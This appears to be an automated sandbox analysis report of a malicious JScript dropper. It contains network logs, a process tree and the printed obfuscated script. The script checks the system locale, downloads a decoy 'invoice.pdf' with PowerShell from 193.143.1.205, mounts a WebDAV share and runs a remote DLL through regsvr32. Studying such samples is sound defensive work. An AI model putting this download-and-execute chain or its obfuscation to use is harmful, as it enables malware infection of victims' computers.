Jan 10, 2025 20:19:08.803828001 CET	1.1.1.1	192.168.2.6	0xf584	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:22.968072891 CET	1.1.1.1	192.168.2.6	0x3628	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:47.030508995 CET	1.1.1.1	192.168.2.6	0xff41	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:19:47.030508995 CET	1.1.1.1	192.168.2.6	0xff41	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	2300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:17:54.545944929 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:17:55.371752977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:17:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:17:55.371778965 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:17:55.371789932 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:17:55.371799946 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:17:55.371807098 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 20:17:55.371810913 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:17:55.371818066 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:17:55.371824026 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:17:55.371834040 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 20:17:55.371840000 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 20:17:55.376740932 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	193.143.1.205	8888	5320	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:17:58.053750992 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:17:58.841974020 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:17:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:17:50
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js"
Imagebase:	0x7ff7d5660000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:17:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Imagebase:	0x7ff7c8240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:17:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:17:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:17:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:17:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c8240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:17:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff721a80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:17:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:17:57
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:17:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,9000697262872955212,6509342707065743431,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ewwvwf() {	ewwvwf() ➔ undefined
1	qwnejp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fbpyt = this[uzucpug + gvndnefz + jtdpu + xwhqt + jhkqxllnq + cdoqmunhh + yhrmtvxbj + hurmftuyy] ( this[dquaxhan + hgridcdwr + rhoxjq + jtdpu + htavceon + uzucpug + hurmftuyy][spscpa + jtdpu + jhkqxllnq + gvndnefz + hurmftuyy + jhkqxllnq + yrzzm + kmahauyp + hioiju + jhkqxllnq + rhoxjq + hurmftuyy] ( dquaxhan + hgridcdwr + rhoxjq + jtdpu + htavceon + uzucpug + hurmftuyy + dplaxmo + hgridcdwr + mbeyh + jhkqxllnq + hwzjnmhm + hwzjnmhm ) [jbobwf + jhkqxllnq + qxvmak + jbobwf + jhkqxllnq + gvndnefz + wekdh] ( vwibxi + ninkm + ywnru + cgdrdyhv + ywskr + spscpa + opnpnhk + jbobwf + jbobwf + ywnru + puvas + ylbrqtnl + ywskr + opnpnhk + hgridcdwr + ywnru + jbobwf + ockcl + spscpa + gfelg + yhrmtvxbj + hurmftuyy + jtdpu + gfelg + hwzjnmhm + bvkja + vupycc + gvndnefz + yhrmtvxbj + jhkqxllnq + hwzjnmhm + ockcl + cdoqmunhh + yhrmtvxbj + hurmftuyy + jhkqxllnq + jtdpu + yhrmtvxbj + gvndnefz + hurmftuyy + htavceon + gfelg + yhrmtvxbj + gvndnefz + hwzjnmhm + ockcl + aclgvk + gfelg + rhoxjq + gvndnefz + hwzjnmhm + jhkqxllnq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zscayhr = 0 ; zscayhr < qwnejp[hwzjnmhm + jhkqxllnq + yhrmtvxbj + qxvmak + hurmftuyy + mbeyh] ; ++ zscayhr )
4	{
5	if ( fbpyt == qwnejp[zscayhr] )
6	{
7	fbpyt = true;
8	break ;
9	}
10	}
11	if ( fbpyt !== true )
12	this[dquaxhan + hgridcdwr + rhoxjq + jtdpu + htavceon + uzucpug + hurmftuyy][iqixld + qhdtom + htavceon + hurmftuyy] ( );
13	this[dquaxhan + hgridcdwr + rhoxjq + jtdpu + htavceon + uzucpug + hurmftuyy][spscpa + jtdpu + jhkqxllnq + gvndnefz + hurmftuyy + jhkqxllnq + yrzzm + kmahauyp + hioiju + jhkqxllnq + rhoxjq + hurmftuyy] ( dquaxhan + hgridcdwr + rhoxjq + jtdpu + htavceon + uzucpug + hurmftuyy + dplaxmo + hgridcdwr + mbeyh + jhkqxllnq + hwzjnmhm + hwzjnmhm ) [jtdpu + qhdtom + yhrmtvxbj] ( rhoxjq + ocvasvwos + wekdh + bvkja + ppsdacgfi + rhoxjq + bvkja + uzucpug + gfelg + expetodl + jhkqxllnq + jtdpu + xwhqt + mbeyh + jhkqxllnq + hwzjnmhm + hwzjnmhm + dplaxmo + jhkqxllnq + fhfmljgbh + jhkqxllnq + bvkja + amauruegu + spscpa + gfelg + ocvasvwos + ocvasvwos + gvndnefz + yhrmtvxbj + wekdh + bvkja + cytmcu + cdoqmunhh + yhrmtvxbj + wiibaxvy + gfelg + paonpw + jhkqxllnq + amauruegu + dquaxhan + jhkqxllnq + kmahauyp + jbobwf + jhkqxllnq + omtvv + qhdtom + jhkqxllnq + xwhqt + hurmftuyy + bvkja + amauruegu + yrzzm + qhdtom + hurmftuyy + bjwroby + htavceon + hwzjnmhm + jhkqxllnq + bvkja + cekjhtwxs + hurmftuyy + jhkqxllnq + ocvasvwos + uzucpug + cekjhtwxs + ockcl + htavceon + yhrmtvxbj + wiibaxvy + gfelg + htavceon + rhoxjq + jhkqxllnq + dplaxmo + uzucpug + wekdh + bxmkcqpo + bvkja + mbeyh + hurmftuyy + hurmftuyy + uzucpug + csroyi + ppsdacgfi + ppsdacgfi + ttpwndmos + mrisu + ppjhk + dplaxmo + ttpwndmos + akxul + ppjhk + dplaxmo + ttpwndmos + dplaxmo + xxxxxbir + qcgzl + ocaninvcx + ppsdacgfi + htavceon + yhrmtvxbj + wiibaxvy + gfelg + htavceon + rhoxjq + jhkqxllnq + dplaxmo + uzucpug + mbeyh + uzucpug + cytmcu + efhcg + efhcg + xwhqt + hurmftuyy + gvndnefz + jtdpu + hurmftuyy + bvkja + cekjhtwxs + hurmftuyy + jhkqxllnq + ocvasvwos + uzucpug + cekjhtwxs + ockcl + htavceon + yhrmtvxbj + wiibaxvy + gfelg + htavceon + rhoxjq + jhkqxllnq + dplaxmo + uzucpug + wekdh + bxmkcqpo + efhcg + efhcg + rhoxjq + ocvasvwos + wekdh + bvkja + ppsdacgfi + rhoxjq + bvkja + yhrmtvxbj + jhkqxllnq + hurmftuyy + bvkja + qhdtom + xwhqt + jhkqxllnq + bvkja + ockcl + ockcl + ttpwndmos + mrisu + ppjhk + dplaxmo + ttpwndmos + akxul + ppjhk + dplaxmo + ttpwndmos + dplaxmo + xxxxxbir + qcgzl + ocaninvcx + hrgqxfv + pmfvrgrs + pmfvrgrs + pmfvrgrs + pmfvrgrs + ockcl + wekdh + gvndnefz + wiibaxvy + expetodl + expetodl + expetodl + jtdpu + gfelg + gfelg + hurmftuyy + ockcl + efhcg + efhcg + rhoxjq + ocvasvwos + wekdh + bvkja + ppsdacgfi + rhoxjq + bvkja + jtdpu + jhkqxllnq + qxvmak + xwhqt + wiibaxvy + jtdpu + ppjhk + xxxxxbir + bvkja + ppsdacgfi + xwhqt + bvkja + ockcl + ockcl + ttpwndmos + mrisu + ppjhk + dplaxmo + ttpwndmos + akxul + ppjhk + dplaxmo + ttpwndmos + dplaxmo + xxxxxbir + qcgzl + ocaninvcx + hrgqxfv + pmfvrgrs + pmfvrgrs + pmfvrgrs + pmfvrgrs + ockcl + wekdh + gvndnefz + wiibaxvy + expetodl + expetodl + expetodl + jtdpu + gfelg + gfelg + hurmftuyy + ockcl + ttpwndmos + ttpwndmos + ocaninvcx + akxul + glwnmu + ttpwndmos + xxxxxbir + ttpwndmos + glwnmu + glwnmu + ppjhk + ttpwndmos + mrisu + xlwzaqt + xlwzaqt + dplaxmo + wekdh + hwzjnmhm + hwzjnmhm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll",0,false) ➔ 0
14	}
15	csroyi = "k";
16	csroyi = "Q";
17	csroyi = "a";
18	csroyi = "Q";
19	csroyi = "D";
20	csroyi = "K";
21	csroyi = "Z";
22	csroyi = "w";
23	csroyi = "i";
24	csroyi = "q";
25	csroyi = "J";
26	csroyi = "O";
27	csroyi = "j";
28	csroyi = "t";
29	csroyi = "k";
30	csroyi = "G";
31	csroyi = "C";
32	csroyi = "Q";
33	csroyi = "m";
34	csroyi = "z";
35	csroyi = "M";
36	csroyi = "M";
37	csroyi = "Z";
38	csroyi = "o";
39	csroyi = "q";
40	csroyi = "z";
41	csroyi = "W";
42	csroyi = "v";
43	csroyi = "T";
44	csroyi = "J";
45	csroyi = "T";
46	csroyi = "Q";
47	csroyi = "s";
48	csroyi = "h";
49	csroyi = ":";
50	jtdpu = "r";
51	jtdpu = "H";
52	jtdpu = "z";
53	jtdpu = "q";
54	jtdpu = "O";
55	jtdpu = "r";
56	jtdpu = "t";
57	jtdpu = "M";
58	jtdpu = "N";
59	jtdpu = "P";
60	jtdpu = "r";
61	jbobwf = "Q";
62	jbobwf = "F";
63	jbobwf = "W";
64	jbobwf = "P";
65	jbobwf = "f";
66	jbobwf = "C";
67	jbobwf = "m";
68	jbobwf = "g";
69	jbobwf = "G";
70	jbobwf = "e";
71	jbobwf = "A";
72	jbobwf = "p";
73	jbobwf = "y";
74	jbobwf = "I";
75	jbobwf = "D";
76	jbobwf = "J";
77	jbobwf = "J";
78	jbobwf = "q";
79	jbobwf = "R";
80	hwzjnmhm = "Y";
81	hwzjnmhm = "m";
82	hwzjnmhm = "C";
83	hwzjnmhm = "u";
84	hwzjnmhm = "M";
85	hwzjnmhm = "o";
86	hwzjnmhm = "T";
87	hwzjnmhm = "Q";
88	hwzjnmhm = "n";
89	hwzjnmhm = "l";
90	ppjhk = "B";
91	ppjhk = "u";
92	ppjhk = "t";
93	ppjhk = "h";
94	ppjhk = "q";
95	ppjhk = "b";
96	ppjhk = "N";
97	ppjhk = "w";
98	ppjhk = "v";
99	ppjhk = "Z";
100	ppjhk = "m";
101	ppjhk = "R";
102	ppjhk = "a";
103	ppjhk = "e";
104	ppjhk = "P";
105	ppjhk = "x";
106	ppjhk = "t";
107	ppjhk = "G";
108	ppjhk = "N";
109	ppjhk = "e";
110	ppjhk = "t";
111	ppjhk = "u";
112	ppjhk = "D";
113	ppjhk = "n";
114	ppjhk = "A";
115	ppjhk = "Y";
116	ppjhk = "Z";
117	ppjhk = "A";
118	ppjhk = "w";
119	ppjhk = "V";
120	ppjhk = "P";
121	ppjhk = "w";
122	ppjhk = "s";
123	ppjhk = "T";
124	ppjhk = "B";
125	ppjhk = "Y";
126	ppjhk = "S";
127	ppjhk = "J";
128	ppjhk = "X";
129	ppjhk = "3";
130	gfelg = "J";
131	gfelg = "P";
132	gfelg = "f";
133	gfelg = "q";
134	gfelg = "P";
135	gfelg = "T";
136	gfelg = "s";
137	gfelg = "m";
138	gfelg = "D";
139	gfelg = "c";
140	gfelg = "j";
141	gfelg = "g";
142	gfelg = "n";
143	gfelg = "S";
144	gfelg = "E";
145	gfelg = "j";
146	gfelg = "c";
147	gfelg = "o";
148	gfelg = "L";
149	gfelg = "W";
150	gfelg = "o";
151	yrzzm = "k";
152	yrzzm = "k";
153	yrzzm = "Y";
154	yrzzm = "i";
155	yrzzm = "v";
156	yrzzm = "K";
157	yrzzm = "B";
158	yrzzm = "J";
159	yrzzm = "Z";
160	yrzzm = "x";
161	yrzzm = "k";
162	yrzzm = "l";
163	yrzzm = "N";
164	yrzzm = "F";
165	yrzzm = "v";
166	yrzzm = "e";
167	yrzzm = "z";
168	yrzzm = "i";
169	yrzzm = "Y";
170	yrzzm = "w";
171	yrzzm = "j";
172	yrzzm = "M";
173	yrzzm = "O";
174	dplaxmo = "T";
175	dplaxmo = "A";
176	dplaxmo = "n";
